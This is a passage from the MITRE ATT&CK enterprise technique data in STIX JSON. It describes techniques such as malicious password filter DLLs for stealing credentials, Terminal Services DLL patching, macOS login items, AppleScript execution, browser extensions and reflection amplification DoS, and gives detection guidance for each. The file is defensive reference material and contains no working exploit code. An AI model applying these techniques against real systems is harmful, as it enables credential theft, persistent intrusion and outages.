or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Network Traffic: Network Connection Creation","Module: Module Load","Command: Command Execution","Process: Process Creation"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":["Digital Certificate Validation","Application control"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1162","url":"https://attack.mitre.org/techniques/T1162"},{"source_name":"Adding Login Items","url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html","description":"Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017."},{"source_name":"Methods of Mac Malware Persistence","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."},{"source_name":"Malware Persistence on OS X","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017."},{"source_name":"OSX.Dok Malware","url":"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/","description":"Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017."},{"url":"https://capec.mitre.org/data/definitions/564.html","source_name":"capec","external_id":"CAPEC-564"}],"x_mitre_deprecated":false,"revoked":true,"description":"MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well  (Citation: Adding Login Items).","modified":"2022-04-22T18:50:50.483Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Login Item","x_mitre_detection":"All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and whitelisted for known good applications. Otherwise, Login Items are located in <code> Contents/Library/LoginItems </code> within an application bundle, so these paths should be monitored as well  (Citation: Adding Login Items). Monitor process execution resulting from login actions for unusual or unknown applications.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":[],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e","type":"attack-pattern","created":"2020-10-02T15:47:59.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1590.003","url":"https://attack.mitre.org/techniques/T1590/003"},{"source_name":"Pentesting AD Forests","url":"https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019","description":"García, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:34:22.917Z","name":"Network Trust Dependencies","description":"Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01","type":"attack-pattern","created":"2020-03-02T20:08:03.691Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1498.002","url":"https://attack.mitre.org/techniques/T1498/002"},{"external_id":"CAPEC-490","source_name":"capec","url":"https://capec.mitre.org/data/definitions/490.html"},{"source_name":"Cloudflare ReflectionDoS May 2017","url":"https://blog.cloudflare.com/reflections-on-reflections/","description":"Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019."},{"source_name":"Cloudflare DNSamplficationDoS","url":"https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/","description":"Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019."},{"source_name":"Cloudflare NTPamplifciationDoS","url":"https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/","description":"Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019."},{"source_name":"Arbor AnnualDoSreport Jan 2018","url":"https://web.archive.org/web/20180320005525/https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf","description":"Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."},{"source_name":"Cloudflare Memcrashed Feb 2018","url":"https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/","description":"Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019."},{"source_name":"Cisco DoSdetectNetflow","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf","description":"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."}],"modified":"2022-03-25T20:05:38.883Z","name":"Reflection Amplification","description":"Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Sensor Health: Host Status"],"x_mitre_impact_type":["Availability"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vincent Le Toux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42","type":"attack-pattern","created":"2020-02-11T19:05:45.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1556.002","url":"https://attack.mitre.org/techniques/T1556/002"},{"url":"http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html","description":"Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.","source_name":"Carnal Ownage Password Filters Sept 2013"},{"url":"https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/","description":"Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.","source_name":"Clymb3r Function Hook Passwords Sept 2013"}],"modified":"2021-04-20T20:11:55.147Z","name":"Password Filter DLL","description":"Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Module: Module Load","File: File Creation"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8","created":"2022-03-28T15:34:44.590Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1505.005","url":"https://attack.mitre.org/techniques/T1505/005"},{"source_name":"James TermServ DLL","url":"https://twitter.com/james_inthe_box/status/1150495335812177920","description":"James. (2019, July 14). @James_inthe_box. Retrieved March 28, 2022."},{"source_name":"Microsoft System Services Fundamentals","url":"https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx","description":"Microsoft. (2018, February 17). Windows System Services Fundamentals. Retrieved March 28, 2022."},{"source_name":"Microsoft Remote Desktop Services","url":"https://docs.microsoft.com/windows/win32/termserv/about-terminal-services","description":"Microsoft. (2019, August 23). About Remote Desktop Services. Retrieved March 28, 2022."},{"source_name":"RDPWrap Github","url":"https://github.com/stascorp/rdpwrap","description":"Stas'M Corp. (2014, October 22). RDP Wrapper Library by Stas'M. Retrieved March 28, 2022."},{"source_name":"Windows OS Hub RDP","url":"http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/","description":"Windows OS Hub. (2021, November 10). How to Allow Multiple RDP Sessions in Windows 10 and 11?. Retrieved March 28, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: <code>svchost.exe</code>) load the service's DLL file, the location of which is stored in a Registry entry named <code>ServiceDll</code>.(Citation: Microsoft System Services Fundamentals) The <code>termsrv.dll</code> file, typically stored in `%SystemRoot%\\System32\\`, is the default <code>ServiceDll</code> value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal <code>termsrv.dll</code> functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the <code>termsrv.dll</code> file or modifying the <code>ServiceDll</code> value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.","modified":"2022-04-18T20:22:44.971Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Terminal Services DLL","x_mitre_detection":"Monitor for changes to Registry keys associated with <code>ServiceDll</code> and other subkey values under <code>HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\</code>.\n\nMonitor unexpected changes and/or interactions with <code>termsrv.dll</code>, which is typically stored in <code>%SystemRoot%\\System32\\</code>.\n\nMonitor commands as well as  processes and arguments for potential adversary actions to modify Registry values (ex: <code>reg.exe</code>) or modify/replace the legitimate <code>termsrv.dll</code>.\n\nMonitor module loads by the Terminal Services process (ex: <code>svchost.exe -k termsvcs</code>) for unexpected DLLs (the default is <code>%SystemRoot%\\System32\\termsrv.dll</code>, though an adversary could also use [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Modification","Command: Command Execution","Module: Module Load","Process: Process Creation","Windows Registry: Windows Registry Key Modification"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Phil Stokes, SentinelOne"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","created":"2020-03-09T14:07:54.329Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1059.002","url":"https://attack.mitre.org/techniques/T1059/002"},{"source_name":"Apple AppleScript","url":"https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html","description":"Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020."},{"source_name":"SentinelOne macOS Red Team","url":"https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/","description":"Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020."},{"source_name":"SentinelOne AppleScript","url":"https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/","description":"Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020."},{"source_name":"Macro Malware Targets Macs","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/","description":"Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call <code>osascript</code> to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s <code>NSAppleScript</code> or <code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)","modified":"2022-04-19T20:26:48.143Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"AppleScript","x_mitre_detection":"Monitor for execution of AppleScript through <code>osascript</code> and usage of the <code>NSAppleScript</code> and <code>OSAScript</code> APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Process: Process Creation","Process: OS API Execution","Command: Command Execution"],"x_mitre_system_requirements":[],"x_mitre_remote_support":false,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Chris Ross @xorrior","Justin Warner, ICEBRG"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","created":"2018-01-16T16:13:52.465Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1176","url":"https://attack.mitre.org/techniques/T1176"},{"source_name":"Chrome Extension Crypto Miner","url":"https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/","description":"Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017."},{"source_name":"xorrior chrome extensions macOS","url":"https://www.xorrior.com/No-Place-Like-Chrome/","description":"Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021."},{"source_name":"Chrome Extensions Definition","url":"https://developer.chrome.com/extensions","description":"Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017."},{"source_name":"ICEBRG Chrome Extensions","url":"https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses","description":"De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018."},{"source_name":"Malicious Chrome Extension Numbers","url":"https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf","description":"Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017."},{"source_name":"Chrome Extension C2 Malware","url":"https://kjaer.io/extension-malware/","description":"Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017."},{"source_name":"Catch All Chrome Extension","url":"https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)","description":"Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017."},{"source_name":"Banker Google Chrome Extension Steals Creds","url":"https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/","description":"Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017."},{"source_name":"Stantinko Botnet","url":"https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/","description":"Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017."},{"source_name":"Wikipedia Browser Extension","url":"https://en.wikipedia.org/wiki/Browser_extension","description":"Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the <code>profiles</code> tool to install malicious <code>.mobileconfig</code> files. In macOS 11+, the use of the <code>profiles</code> tool can no longer install configuration profiles, however <code>.mobileconfig</code> files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)","modified":"2022-04-20T16:46:36.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Browser Extensions","x_mitre_detection":"Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nOn macOS, monitor the command line for usage of the profiles tool, such as <code>profiles install -type=configuration</code>. Additionally, all installed extensions maintain a <code>plist</code> file in the <code>/Library/Managed Preferences/username/</code> directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Windows Registry: Windows Registry Key Creation","Command: Command Execution","Network Traffic: Network Connection Creation","File: File Creation","Process: Process Creation"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858","created":"2020-02-20T15:31:43.613Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"T1499.002","url":"https://attack.mitre.org/techniques/T1499/002"},{"source_name":"Arbor SSLDoS April 2012","url":"https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new","description":"ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019."},{"source_name":"Cisco DoSdetectNetflow","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf","description":"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."},{"source_name":"Cloudflare HTTPflood","url":"https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/","description":"Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019."},{"source_name":"Arbor AnnualDoSreport Jan 2018","url":"https://web.archive.org/web/20180320005525/https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf","description":"Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."},{"url":"https://capec.mitre.org/data/definitions/488.html","source_name":"capec","external_id":"CAPEC-488"},{"url":"https://capec.mitre.org/data/definitions/489.html","source_name":"capec","external_id":"CAPEC-489"},{"url":"https://capec.mitre.org/data/definitions/528.html","source_name":"capec","external_id":"CAPEC-528"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of 